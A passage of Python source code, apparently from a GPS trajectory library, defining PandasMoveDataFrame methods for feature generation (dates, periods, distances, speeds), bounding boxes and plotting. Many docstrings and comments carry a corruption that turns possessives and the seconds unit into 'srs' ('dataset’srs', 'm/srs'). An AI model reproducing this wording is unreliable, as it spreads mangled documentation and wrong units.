object.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.tail.html\n\n \"\"\"\n\n operation = begin_operation('tail')\n tail_ = self._data.tail(n)\n self.last_operation = end_operation(operation)\n\n return tail_\n\n def get_users_number(self):\n \"\"\"\n Check and return number of users in trajectory data.\n\n Returns\n -------\n int\n Represents the number of users in trajectory data.\n\n \"\"\"\n\n operation = begin_operation('get_users_numbers')\n\n if UID in self._data:\n number_ = self._data[UID].nunique()\n else:\n number_ = 1\n self.last_operation = end_operation(operation)\n\n return number_\n\n def to_numpy(self):\n \"\"\"\n Converts trajectory data to numpy array format.\n\n\n Returns\n -------\n np.array\n Represents the trajectory in numpy array format.\n\n \"\"\"\n\n operation = begin_operation('to_numpy')\n numpy_ = self._data.values\n self.last_operation = end_operation(operation)\n\n return numpy_\n\n def to_dict(self):\n \"\"\"\n Converts trajectory data to dict format.\n\n Returns\n -------\n dict\n Represents the trajectory in dict format.\n\n \"\"\"\n\n operation = begin_operation('to_dict')\n dict_ = self._data.to_dict()\n self.last_operation = end_operation(operation)\n\n return dict_\n\n def to_grid(self, cell_size, meters_by_degree=lat_meters(-3.8162973555)):\n \"\"\"\n Converts trajectory data to grid format.\n\n Parameters\n ----------\n cell_size : float.\n Represents grid cell size.\n\n meters_by_degree : float, optional, default lat_meters(-3.8162973555).\n Represents the corresponding meters of lat by degree.\n\n Returns\n -------\n pymove.core.grid\n Represents the trajectory in grid format.\n\n \"\"\"\n\n operation = begin_operation('to_grid')\n grid_ = Grid(self, cell_size, meters_by_degree)\n self.last_operation = end_operation(operation)\n\n return grid_\n\n def to_data_frame(self):\n \"\"\"\n Converts trajectory data to DataFrame format.\n\n Returns\n -------\n pandas.core.DataFrame\n Represents the trajectory in DataFrame format.\n\n \"\"\"\n\n operation = begin_operation('to_data_frame')\n data_ = self._data\n self.last_operation = end_operation(operation)\n\n return data_\n\n def info(\n self,\n verbose=None,\n buf=None,\n max_cols=None,\n memory_usage=None,\n null_counts=None\n ):\n \"\"\"\n Print a concise summary of a DataFrame.\n\n This method prints information about a DataFrame including the index\n dtype and column dtypes, non-null values and memory usage.\n\n Parameters\n ----------\n verbose : bool, optional\n Whether to print the full summary. By default, the setting\n in pandas.options.display.max_info_columns is followed.\n buf : writable buffer, defaults to sys.stdout\n Where to send the output. By default, the output is printed\n to sys.stdout. Pass a writable buffer if you need to\n further process the output.\n max_cols : int, optional\n When to switch from the verbose to the truncated output.\n If the DataFrame has more than max_cols columns, the truncated\n output is used. By default, the setting in\n andas.options.display.max_info_columns is used.\n memory_usage : bool, str, optional\n Specifies whether total memory usage of the DataFrame elements\n (including the index) should be displayed. By default, this\n follows the pandas.options.display.memory_usage setting.\n True always show memory usage. False never shows memory usage.\n A value of ‘deep’ is equivalent to 'True with deep introspection'.\n Memory usage is shown in human-readable units (base-2 representation).\n Without deep introspection a memory estimation is made based\n in column dtype and number of rows assuming values consume the\n same memory amount for corresponding dtypes. With deep memory\n introspection, a real memory usage calculation is\n performed at the cost of computational resources.\n null_counts : bool, optional\n Whether to show the non-null counts. By default, this is\n shown only if the frame is smaller than\n pandas.options.display.max_info_rows and\n pandas.options.display.max_info_columns. A value of True always\n shows the counts, and False never shows the counts.\n\n \"\"\"\n\n operation = begin_operation('info')\n self._data.info(\n verbose, buf, max_cols, memory_usage, null_counts\n )\n self.last_operation = end_operation(operation)\n\n def describe(self, percentiles=None, include=None, exclude=None):\n \"\"\"\n Generate descriptive statistics.\n\n Descriptive statistics include those that summarize the central\n tendency, dispersion and shape of a dataset’srs distribution,\n excluding NaN values. Analyzes both numeric and object series,\n as well as DataFrame column sets of mixed data types. The output will\n vary depending on what is provided. Refer to the notes\n below for more detail.\n\n Parameters\n ----------\n percentiles : list-like of numbers, optional\n The percentiles to include in the output.\n All should fall between 0 and 1. The default is [.25, .5, .75],\n which returns the 25th, 50th, and 75th percentiles.\n include : list-like of dtypes or None (default), optional\n A white list of data types to include in the result.\n Ignored for Series. Here are the options:\n ‘all’ : All columns of the input will be included in the output.\n A list-like of dtypes : Limits the results to the provided\n data types. To limit the result to numeric types submit\n numpy.number. To limit it instead to object columns submit\n the numpy.object data type. Strings can also be used in the\n style of select_dtypes (e.g. df.describe(include=['O'])).\n To select pandas categorical columns, use 'category'\n None (default) : The result will include all numeric columns.\n exclude : list-like of dtypes or None (default), optional,\n A black list of data types to omit from the result.\n Ignored for Series. Here are the options:\n A list-like of dtypes : Excludes the provided data types from\n the result. To exclude numeric types submit numpy.number.\n To exclude object columns submit the data type numpy.object.\n Strings can also be used in the style of select_dtypes\n (e.g. df.describe(include=['O'])).\n To exclude pandas categorical columns, use 'category'\n None (default) : The result will exclude nothing.\n\n Returns\n -------\n Series or DataFrame\n Summary statistics of the Series or Dataframe provided.\n\n Notes\n -----\n For numeric data, the result’srs index will include\n count, mean, std, min, max as well as lower, 50 and upper percentiles.\n By default the lower percentile is 25 and the upper percentile is 75.\n The 50 percentile is the same as the median.\n For object data (e.g. strings or timestamps), the result’srs index\n will include count, unique, top, and freq. The top is the most common\n value. The freq is the most common value’srs frequency.\n Timestamps also include the first and last items.\n If multiple object values have the highest count, then the\n count and top results will be arbitrarily chosen from among those\n with the highest count.\n For mixed data types provided via a DataFrame, the default is to\n return only an analysis of numeric columns. If the dataframe consists\n only of object and categorical data without any numeric columns,\n the default is to return an analysis of both the object and\n categorical columns. If include='all' is provided as an option,\n the result will include a union of attributes of each type.\n The include and exclude parameters can be used to limit which\n columns in a DataFrame are analyzed for the output.\n The parameters are ignored when analyzing a Series.\n\n \"\"\"\n\n operation = begin_operation('describe')\n describe_ = self._data.describe(percentiles, include, exclude)\n self.last_operation = end_operation(operation)\n return describe_\n\n def memory_usage(self, index=True, deep=False):\n \"\"\"\n Return the memory usage of each column in bytes.\n\n The memory usage can optionally include the contribution of the\n index and elements of object dtype.\n This value is displayed in DataFrame.info by default.\n This can be suppressed by setting pandas.options.display.memory_usage\n to False.\n\n Parameters\n ----------\n index : bool, default True\n Specifies whether to include the memory usage of the DataFrame’srs\n index in returned Series. If index=True, the memory usage of the\n index is the first item in the output.\n deep : bool, default False\n If True, introspect the data deeply by interrogating object dtypes\n for system-level memory consumption, and include it in the\n returned values.\n\n Returns\n -------\n Series\n A Series whose index is the original column names and whose\n values is the memory usage of each column in bytes.\n\n \"\"\"\n\n operation = begin_operation('mem_usage')\n mem_usage_ = self._data.memory_usage(index, deep)\n self.last_operation = end_operation(operation)\n return mem_usage_\n\n def copy(self, deep=True):\n \"\"\"\n Make a copy of this object’srs indices and data.\n\n When deep=True (default), a new object will be created with a copy\n of the calling object’srs data and indices. Modifications to the\n data or indices of the copy will not be reflected in the original\n object (see notes below).\n When deep=False, a new object will be created without copying the calling\n object’srs data or index (only references to the data and index are copied).\n Any changes to the data of the original will be reflected in the\n shallow copy (and vice versa).\n\n Parameters\n ----------\n deep : bool, default True\n Make a deep copy, including a copy of the data and the indices.\n With deep=False neither the indices nor the data are copied.\n\n Returns\n -------\n Series or DataFrame\n Object type matches caller.\n\n Notes\n -----\n When deep=True, data is copied but actual Python objects will not be\n copied recursively, only the reference to the object.\n This is in contrast to copy.deepcopy in the Standard Library, which\n recursively copies object data (see examples below).\n While Index objects are copied when deep=True, the underlying\n numpy array is not copied for performance reasons. Since Index is\n immutable, the underlying data can be safely shared and a\n copy is not needed.\n\n \"\"\"\n\n operation = begin_operation('copy')\n copy_ = PandasMoveDataFrame(self._data.copy(deep))\n self.last_operation = end_operation(operation)\n return copy_\n\n def generate_tid_based_on_id_datetime(\n self, str_format='%Y%m%d%H', sort=True, inplace=True\n ):\n \"\"\"\n Create or update trajectory id based on id and datetime.\n\n Parameters\n ----------\n str_format : str, optional, default \"%Y%m%d%H\".\n Format to consider the datetime\n sort : bool, optional, default True.\n If sort == True the dataframe will be sorted.\n inplace : bool, optional, default True.\n Represents whether the operation will be performed on\n the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n \"\"\"\n\n operation = begin_operation('generate_tid_based_on_id_datetime')\n\n if inplace:\n data_ = self._data\n else:\n data_ = self._data.copy()\n\n try:\n print('\\nCreating or updating tid feature...\\n')\n if sort is True:\n print(\n '...Sorting by %s and %s to increase performance\\n'\n % (TRAJ_ID, DATETIME)\n )\n\n data_.sort_values([TRAJ_ID, DATETIME], inplace=True)\n\n data_[TID] = data_[TRAJ_ID].astype(str) + data_[\n DATETIME\n ].dt.strftime(str_format)\n print('\\n...tid feature was created...\\n')\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n data_ = PandasMoveDataFrame(data=data_)\n self.last_operation = end_operation(operation)\n return data_\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def generate_date_features(self, inplace=True):\n \"\"\"\n Create or update date feature based on datetime.\n\n Parameters\n ----------\n inplace : bool, optional, default True.\n Represents whether the operation will be performed\n on the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n \"\"\"\n\n operation = begin_operation('generate_date_features')\n\n if inplace:\n data_ = self._data\n else:\n data_ = self._data.copy()\n\n try:\n print('Creating date features...')\n if DATETIME in data_:\n data_[DATE] = data_[DATETIME].dt.date\n print('..Date features was created...\\n')\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n data_ = PandasMoveDataFrame(data=data_)\n self.last_operation = end_operation(operation)\n return data_\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def generate_hour_features(self, inplace=True):\n \"\"\"\n Create or update hour feature based on datetime.\n\n Parameters\n ----------\n inplace : bool, optional, default True.\n Represents whether the operation will be performed\n on the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n \"\"\"\n\n operation = begin_operation('generate_hour_features')\n\n if inplace:\n data_ = self._data\n else:\n data_ = self._data.copy()\n\n try:\n print('\\nCreating or updating a feature for hour...\\n')\n if DATETIME in data_:\n data_[HOUR] = data_[DATETIME].dt.hour\n print('...Hour feature was created...\\n')\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n data_ = PandasMoveDataFrame(data=data_)\n self.last_operation = end_operation(operation)\n return data_\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def generate_day_of_the_week_features(self, inplace=True):\n \"\"\"\n Create or update a feature day of the week from datatime.\n\n Parameters\n ----------\n inplace : bool, optional, default True.\n Represents whether the operation will be performed\n on the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n \"\"\"\n\n operation = begin_operation('generate_day_of_the_week_features')\n\n if inplace:\n data_ = self._data\n else:\n data_ = self._data.copy()\n\n try:\n print('\\nCreating or updating day of the week feature...\\n')\n data_[DAY] = data_[DATETIME].dt.day_name()\n print('...the day of the week feature was created...\\n')\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n data_ = PandasMoveDataFrame(data=data_)\n self.last_operation = end_operation(operation)\n return data_\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def generate_weekend_features(\n self, create_day_of_week=False, inplace=True\n ):\n \"\"\"\n Create or update the feature weekend to the dataframe,\n if this resource indicates that the given day is the\n weekend, otherwise, it is a day of the week.\n\n Parameters\n ----------\n create_day_of_week : bool, optional (default False).\n Indicates if the column day should be keeped in the dataframe.\n If set to False the column will be dropped.\n inplace : bool, optional, default True.\n Indicates whether the operation will be performed on\n the data provided or in a copy.\n\n Returns\n ----------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n \"\"\"\n\n operation = begin_operation('generate_weekend_features')\n\n try:\n if inplace:\n self.generate_day_of_the_week_features(inplace=inplace)\n data_ = self._data\n else:\n data_ = self.generate_day_of_the_week_features(\n inplace=inplace\n )._data\n\n print('Creating or updating a feature for weekend\\n')\n if DAY in data_:\n fds = (data_[DAY] == WEEK_DAYS[5]) | (data_[DAY] == WEEK_DAYS[6])\n index_fds = data_[fds].index\n data_[WEEK_END] = 0\n data_.at[index_fds, WEEK_END] = 1\n print('...Weekend was set as 1 or 0...\\n')\n if not create_day_of_week:\n print('...dropping colum day\\n')\n del data_[DAY]\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n data_ = PandasMoveDataFrame(data=data_)\n self.last_operation = end_operation(operation)\n return data_\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def generate_time_of_day_features(self, inplace=True):\n \"\"\"\n Create a feature time of day or period from datatime.\n\n Parameters\n ----------\n inplace : bool, optional, default True.\n Represents whether the operation will be performed on\n the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n Examples\n --------\n - datetime1 = 2019-04-28 02:00:56 -> period = Early Morning\n - datetime2 = 2019-04-28 08:00:56 -> period = Morning\n - datetime3 = 2019-04-28 14:00:56 -> period = Afternoon\n - datetime4 = 2019-04-28 20:00:56 -> period = Evening\n\n \"\"\"\n\n operation = begin_operation('generate_time_of_day_features')\n\n if inplace:\n data_ = self._data\n else:\n data_ = self._data.copy()\n\n try:\n periods = [\n '\\n' 'Creating or updating period feature',\n '...Early morning from 0H to 6H',\n '...Morning from 6H to 12H',\n '...Afternoon from 12H to 18H',\n '...Evening from 18H to 24H' '\\n',\n ]\n print('\\n'.join(periods))\n\n hours = data_[DATETIME].dt.hour\n conditions = [\n (hours >= 0) & (hours < 6),\n (hours >= 6) & (hours < 12),\n (hours >= 12) & (hours < 18),\n (hours >= 18) & (hours < 24),\n ]\n data_[PERIOD] = np.select(conditions, DAY_PERIODS, 'undefined')\n print('...the period of day feature was created')\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n data_ = PandasMoveDataFrame(data=data_)\n self.last_operation = end_operation(operation)\n return data_\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def generate_datetime_in_format_cyclical(\n self, label_datetime=DATETIME, inplace=True\n ):\n \"\"\"\n Create or update column with cyclical datetime feature.\n\n Parameters\n ----------\n label_datetime : str, optional, default 'datetime'.\n Represents column id type.\n inplace : bool, optional, default True.\n Represents whether the operation will be performed on\n the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n References\n ----------\n https://ianlondon.github.io/blog/encoding-cyclical-features-24hour-time/\n https://www.avanwyk.com/encoding-cyclical-features-for-deep-learning/\n\n \"\"\"\n\n operation = begin_operation('generate_datetime_in_format_cyclical')\n\n if inplace:\n data_ = self._data\n else:\n data_ = self._data.copy()\n\n try:\n print('Encoding cyclical continuous features - 24-hour time')\n if label_datetime in self._data:\n hours = data_[label_datetime].dt.hour\n data_[HOUR_SIN] = np.sin(2 * np.pi * hours / 23.0)\n data_[HOUR_COS] = np.cos(2 * np.pi * hours / 23.0)\n print('...hour_sin and hour_cos features were created...\\n')\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n data_ = PandasMoveDataFrame(data=data_)\n self.last_operation = end_operation(operation)\n return data_\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n @staticmethod\n def _prepare_generate_data(data_, sort, label_id):\n \"\"\"\n Processes the data and create variables for generate methods.\n\n Parameters\n ----------\n data_ : dataframe\n Dataframe to be processed.\n sort : bool\n Whether to sort the data.\n label_id : str\n Name of the label feature.\n\n Returns\n -------\n float\n current time.\n array\n data_ unique ids.\n int\n sum size of id.\n int\n size of id.\n\n \"\"\"\n\n start_time = time.time()\n\n if sort is True:\n print(\n '...Sorting by %s and %s to increase performance\\n'\n % (label_id, DATETIME),\n flush=True,\n )\n data_.sort_values([label_id, DATETIME], inplace=True)\n\n if data_.index.name is None:\n print(\n '...Set %s as index to a higher peformance\\n'\n % label_id,\n flush=True,\n )\n data_.set_index(label_id, inplace=True)\n\n ids = data_.index.unique()\n sum_size_id = 0\n size_id = 0\n\n return start_time, ids, sum_size_id, size_id\n\n def _return_generated_data(self, data_, start_time, operation, inplace):\n \"\"\"\n Finishes the generate methods.\n\n Parameters\n ----------\n data_ : dataframe\n Dataframe with the generated features.\n start_time : float\n time when the operation started.\n operation : dict\n initial stats of the operation.\n inplace : bool, optional, default True.\n Represents whether the operation will be performed on\n the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n \"\"\"\n print('...Reset index...\\n')\n data_.reset_index(inplace=True)\n print('..Total Time: %.3f' % (time.time() - start_time))\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n data_ = PandasMoveDataFrame(data=data_)\n self.last_operation = end_operation(operation)\n return data_\n\n def generate_dist_time_speed_features(\n self, label_id=TRAJ_ID, label_dtype=np.float64, sort=True, inplace=True\n ):\n \"\"\"\n Firstly, create the three distance to an GPS point P (lat, lon). After,\n create two time features to point P: time to previous and time to next.\n Lastly, create two features to speed using time and distance features.\n\n Parameters\n ----------\n label_id : str, optional, default 'id'.\n Represents name of column of trajectory'srs id.\n label_dtype : type, optional, default np.float64.\n Represents column id type.\n sort : bool, optional, default True.\n If sort == True the dataframe will be sorted.\n inplace : bool, optional, default True.\n Represents whether the operation will be performed on\n the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n Examples\n --------\n - dist_to_prev = 248.33 meters, dist_to_prev 536.57 meters\n - time_to_prev = 60 seconds, time_prev = 60.0 seconds\n - speed_to_prev = 4.13 m/srs, speed_prev = 8.94 m/srs.\n\n \"\"\"\n\n operation = begin_operation('generate_dist_time_speed_features')\n\n if inplace:\n data_ = self._data\n else:\n data_ = self._data.copy()\n\n try:\n message = '\\nCreating or updating distance, time and speed features'\n message += ' in meters by seconds\\n'\n print(\n message\n )\n\n start_time, ids, sum_size_id, size_id = self._prepare_generate_data(\n data_, sort, label_id\n )\n\n # create new feature to distance\n data_[DIST_TO_PREV] = label_dtype(-1.0)\n\n # create new feature to time\n data_[TIME_TO_PREV] = label_dtype(-1.0)\n\n # create new feature to speed\n data_[SPEED_TO_PREV] = label_dtype(-1.0)\n\n for idx in progress_bar(\n ids, desc='Generating distance, time and speed features'\n ):\n curr_lat = data_.at[idx, LATITUDE]\n curr_lon = data_.at[idx, LONGITUDE]\n\n size_id = curr_lat.size\n\n if size_id <= 1:\n data_.at[idx, DIST_TO_PREV] = np.nan\n data_.at[idx, TIME_TO_PREV] = np.nan\n data_.at[idx, SPEED_TO_PREV] = np.nan\n else:\n prev_lat = shift(curr_lat, 1)\n prev_lon = shift(curr_lon, 1)\n # compute distance from previous to current point\n data_.at[idx, DIST_TO_PREV] = haversine(\n prev_lat, prev_lon, curr_lat, curr_lon\n )\n\n time_ = data_.at[idx, DATETIME].astype(label_dtype)\n time_prev = (time_ - shift(time_, 1)) * (10 ** -9)\n data_.at[idx, TIME_TO_PREV] = time_prev\n\n # set speed features\n data_.at[idx, SPEED_TO_PREV] = (\n data_.at[idx, DIST_TO_PREV] / time_prev\n ) # unit: m/srs\n\n return self._return_generated_data(\n data_, start_time, operation, inplace\n )\n\n except Exception as e:\n print(\n 'label_tid:%s\\nidx:%s\\nsize_id:%s\\nsum_size_id:%s'\n % (label_id, idx, size_id, sum_size_id)\n )\n self.last_operation = end_operation(operation)\n raise e\n\n def generate_dist_features(\n self, label_id=TRAJ_ID, label_dtype=np.float64, sort=True, inplace=True\n ):\n \"\"\"\n Create the three distance in meters to an GPS point P.\n\n Parameters\n ----------\n label_id : str, optional, default 'id'.\n Represents name of column of trajectory'srs id.\n label_dtype : type, optional, default np.float64.\n Represents column id type.\n sort : bool, optional, default True.\n If sort == True the dataframe will be sorted.\n inplace : bool, optional, default True.\n Represents whether the operation will be performed on\n the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n Examples\n --------\n - P to P.next = 2 meters\n - P to P.previous = 1 meter\n - P.previous to P.next = 1 meters\n\n \"\"\"\n\n operation = begin_operation('generate_dist_features')\n\n if inplace:\n data_ = self._data\n else:\n data_ = self._data.copy()\n\n try:\n print('\\nCreating or updating distance features in meters...\\n')\n\n start_time, ids, sum_size_id, size_id = self._prepare_generate_data(\n data_, sort, label_id\n )\n\n # create ou update columns\n data_[DIST_TO_PREV] = label_dtype(-1.0)\n data_[DIST_TO_NEXT] = label_dtype(-1.0)\n data_[DIST_PREV_TO_NEXT] = label_dtype(-1.0)\n\n ids = data_.index.unique()\n sum_size_id = 0\n size_id = 0\n for idx in progress_bar(ids, desc='Generating distance features'):\n curr_lat = data_.at[idx, LATITUDE]\n curr_lon = data_.at[idx, LONGITUDE]\n\n size_id = curr_lat.size\n\n if size_id <= 1:\n data_.at[idx, DIST_TO_PREV] = np.nan\n\n else:\n prev_lat = shift(curr_lat, 1)\n prev_lon = shift(curr_lon, 1)\n # compute distance from previous to current point\n data_.at[idx, DIST_TO_PREV] = haversine(\n prev_lat, prev_lon, curr_lat, curr_lon\n )\n\n next_lat = shift(curr_lat, -1)\n next_lon = shift(curr_lon, -1)\n # compute distance to next point\n data_.at[idx, DIST_TO_NEXT] = haversine(\n curr_lat, curr_lon, next_lat, next_lon\n )\n\n # using pandas shift in a large dataset: 7min 21s\n # using numpy shift above: 33.6 srs\n\n # use distance from previous to next\n data_.at[idx, DIST_PREV_TO_NEXT] = haversine(\n prev_lat, prev_lon, next_lat, next_lon\n )\n\n return self._return_generated_data(\n data_, start_time, operation, inplace\n )\n\n except Exception as e:\n print(\n 'label_tid:%s\\nidx:%s\\nsize_id:%s\\nsum_size_id:%s'\n % (label_id, idx, size_id, sum_size_id)\n )\n self.last_operation = end_operation(operation)\n raise e\n\n def generate_time_features(\n self, label_id=TRAJ_ID, label_dtype=np.float64, sort=True, inplace=True\n ):\n \"\"\"\n Create the three time in seconds to an GPS point P.\n\n Parameters\n ----------\n label_id : str, optional, default 'id'.\n Represents name of column of trajectory'srs id.\n label_dtype : type, optional, default np.float64.\n Represents column id type_.\n sort : bool, optional, default True.\n If sort == True the dataframe will be sorted.\n inplace : bool, optional, default True.\n Represents whether the operation will be performed on\n the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n Examples\n --------\n - P to P.next = 5 seconds\n - P to P.previous = 15 seconds\n - P.previous to P.next = 20 seconds\n\n \"\"\"\n\n operation = begin_operation('generate_time_features')\n\n if inplace:\n data_ = self._data\n else:\n data_ = self._data.copy()\n\n try:\n print(\n '\\nCreating or updating time features seconds\\n'\n )\n\n start_time, ids, sum_size_id, size_id = self._prepare_generate_data(\n data_, sort, label_id\n )\n\n # create new feature to time\n data_[TIME_TO_PREV] = label_dtype(-1.0)\n data_[TIME_TO_NEXT] = label_dtype(-1.0)\n data_[TIME_PREV_TO_NEXT] = label_dtype(-1.0)\n\n ids = data_.index.unique()\n sum_size_id = 0\n size_id = 0\n\n for idx in progress_bar(\n ids, desc='Generating time features'\n ):\n curr_time = data_.at[idx, DATETIME].astype(label_dtype)\n\n size_id = curr_time.size\n\n if size_id <= 1:\n data_.at[idx, TIME_TO_PREV] = np.nan\n else:\n prev_time = shift(curr_time, 1)\n time_prev = (curr_time - prev_time) * (10 ** -9)\n data_.at[idx, TIME_TO_PREV] = time_prev\n\n next_time = shift(curr_time, -1)\n time_prev = (next_time - curr_time) * (10 ** -9)\n data_.at[idx, TIME_TO_NEXT] = time_prev\n\n time_prev_to_next = (next_time - prev_time) * (10 ** -9)\n data_.at[idx, TIME_PREV_TO_NEXT] = time_prev_to_next\n\n return self._return_generated_data(\n data_, start_time, operation, inplace\n )\n\n except Exception as e:\n print(\n 'label_tid:%s\\nidx:%s\\nsize_id:%s\\nsum_size_id:%s'\n % (label_id, idx, size_id, sum_size_id)\n )\n self.last_operation = end_operation(operation)\n raise e\n\n def generate_speed_features(\n self,\n label_id=TRAJ_ID,\n label_dtype=np.float64,\n sort=True,\n inplace=True\n ):\n \"\"\"\n Create the three speed in meter by seconds to an GPS point P.\n\n Parameters\n ----------\n label_id : str, optional, default 'id'.\n Represents name of column of trajectory'srs id.\n label_dtype : type, optional, default np.float64.\n Represents column id type_.\n sort : bool, optional, default True.\n If sort == True the dataframe will be sorted.\n inplace : bool, optional, default True.\n Represents whether the operation will be performed on\n the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n Examples\n --------\n - P to P.next = 1 meter/seconds\n - P to P.previous = 3 meter/seconds\n - P.previous to P.next = 2 meter/seconds\n\n \"\"\"\n\n operation = begin_operation('generate_speed_features')\n if inplace:\n data_ = self._data\n else:\n data_ = self._data.copy()\n\n try:\n print(\n '\\nCreating or updating speed features meters by seconds\\n'\n )\n start_time = time.time()\n\n dist_cols = [DIST_TO_PREV, DIST_TO_NEXT, DIST_PREV_TO_NEXT]\n time_cols = [TIME_TO_PREV, TIME_TO_NEXT, TIME_PREV_TO_NEXT]\n\n dists = self.generate_dist_features(\n label_id, label_dtype, sort, inplace=False\n )[dist_cols]\n times = self.generate_time_features(\n label_id, label_dtype, sort, inplace=False\n )[time_cols]\n\n data_[SPEED_TO_PREV] = dists[DIST_TO_PREV] / times[TIME_TO_PREV]\n data_[SPEED_TO_NEXT] = dists[DIST_TO_NEXT] / times[TIME_TO_NEXT]\n\n d_prev_next = dists[DIST_TO_PREV] + dists[DIST_TO_NEXT]\n data_[SPEED_PREV_TO_NEXT] = d_prev_next / times[TIME_PREV_TO_NEXT]\n\n return self._return_generated_data(\n data_, start_time, operation, inplace\n )\n\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def generate_move_and_stop_by_radius(\n self, radius=0, target_label=DIST_TO_PREV, inplace=True\n ):\n \"\"\"\n Create or update column with move and stop points by radius.\n\n Parameters\n ----------\n radius : int, optional, default 0.\n Represents radius.\n target_label : str, optional, default 'dist_to_prev.\n Represents column id type.\n inplace : bool, optional, default True.\n Represents whether the operation will be performed on\n the data provided or in a copy.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with new features or None if ``inplace=True``.\n\n \"\"\"\n\n operation = begin_operation('generate_move_and_stop_by_radius')\n\n if inplace:\n if DIST_TO_PREV not in self._data:\n self.generate_dist_features(inplace=inplace)\n data_ = self._data\n else:\n data_ = self.generate_dist_features(inplace=inplace)._data\n\n try:\n print('\\nCreating or updating features MOVE and STOPS...\\n')\n conditions = (\n (data_[target_label] > radius),\n (data_[target_label] <= radius),\n )\n choices = [MOVE, STOP]\n\n data_[SITUATION] = np.select(conditions, choices, np.nan)\n print(\n '\\n....There are %s stops to this parameters\\n'\n % (data_[data_[SITUATION] == STOP].shape[0])\n )\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n data_ = PandasMoveDataFrame(data=data_)\n self.last_operation = end_operation(operation)\n return data_\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def time_interval(self):\n \"\"\"\n Get time difference between max and min datetime in trajectory data.\n\n Returns\n -------\n datetime64\n Represents the time difference.\n\n \"\"\"\n\n operation = begin_operation('time_interval')\n time_diff = self._data[DATETIME].max() - self._data[DATETIME].min()\n self.last_operation = end_operation(operation)\n\n return time_diff\n\n def get_bbox(self):\n \"\"\"\n A bounding box (usually shortened to bbox) is an area defined by two\n longitudes and two latitudes, where:\n\n - Latitude is a decimal number between -90.0 and 90.0.\n - Longitude is a decimal number between -180.0 and 180.0.\n They usually follow the standard format of:\n - bbox = left, bottom, right, top\n - bbox = min Longitude , min Latitude , max Longitude , max Latitude\n\n Returns\n -------\n tuple\n Represents a bound box, that is a tuple of 4 values with\n the min and max limits of latitude e longitude.\n\n Examples\n --------\n (22.147577, 113.54884299999999, 41.132062, 121.156224)\n\n \"\"\"\n\n operation = begin_operation('get_bbox')\n\n try:\n bbox_ = (\n self._data[LATITUDE].min(),\n self._data[LONGITUDE].min(),\n self._data[LATITUDE].max(),\n self._data[LONGITUDE].max(),\n )\n\n self.last_operation = end_operation(operation)\n\n return bbox_\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def plot_all_features(\n self,\n dtype=np.float64,\n figsize=(21, 15),\n return_fig=True,\n save_fig=False,\n name='features.png',\n ):\n \"\"\"\n Generate a visualization for each columns that type is equal dtype.\n\n Parameters\n ----------\n figsize : tuple, optional, default (21, 15).\n Represents dimensions of figure.\n dtype : type, optional, default np.float64.\n Represents column type.\n return_fig : bool, optional, default True.\n Represents whether or not to save the generated picture.\n save_fig : bool, optional, default False.\n Represents whether or not to save the generated picture.\n name : str, optional, default 'features.png'.\n Represents name of a file.\n\n Returns\n -------\n matplotlib.pyplot.figure or None\n The generated picture.\n\n \"\"\"\n\n operation = begin_operation('plot_all_features')\n\n try:\n col_dtype = self._data.select_dtypes(include=[dtype]).columns\n tam = col_dtype.size\n if not tam:\n raise AttributeError('No columns with dtype %s.' % dtype)\n\n fig, ax = plt.subplots(tam, 1, figsize=figsize)\n ax_count = 0\n for col in col_dtype:\n ax[ax_count].set_title(col)\n self._data[col].plot(subplots=True, ax=ax[ax_count])\n ax_count += 1\n\n if save_fig:\n plt.savefig(fname=name, fig=fig)\n\n self.last_operation = end_operation(operation)\n\n if return_fig:\n return fig\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def plot_trajs(\n self,\n markers='o',\n markersize=20,\n figsize=(10, 10),\n return_fig=True,\n save_fig=False,\n name='trajectories.png',\n ):\n \"\"\"\n Generate a visualization that show trajectories.\n\n Parameters\n ----------\n figsize : tuple, optional, default (10, 10).\n Represents dimensions of figure.\n markers : str, optional, default 'o'.\n Represents visualization type marker.\n markersize : int, optional, default 20.\n Represents visualization size marker.\n return_fig : bool, optional, default True.\n Represents whether or 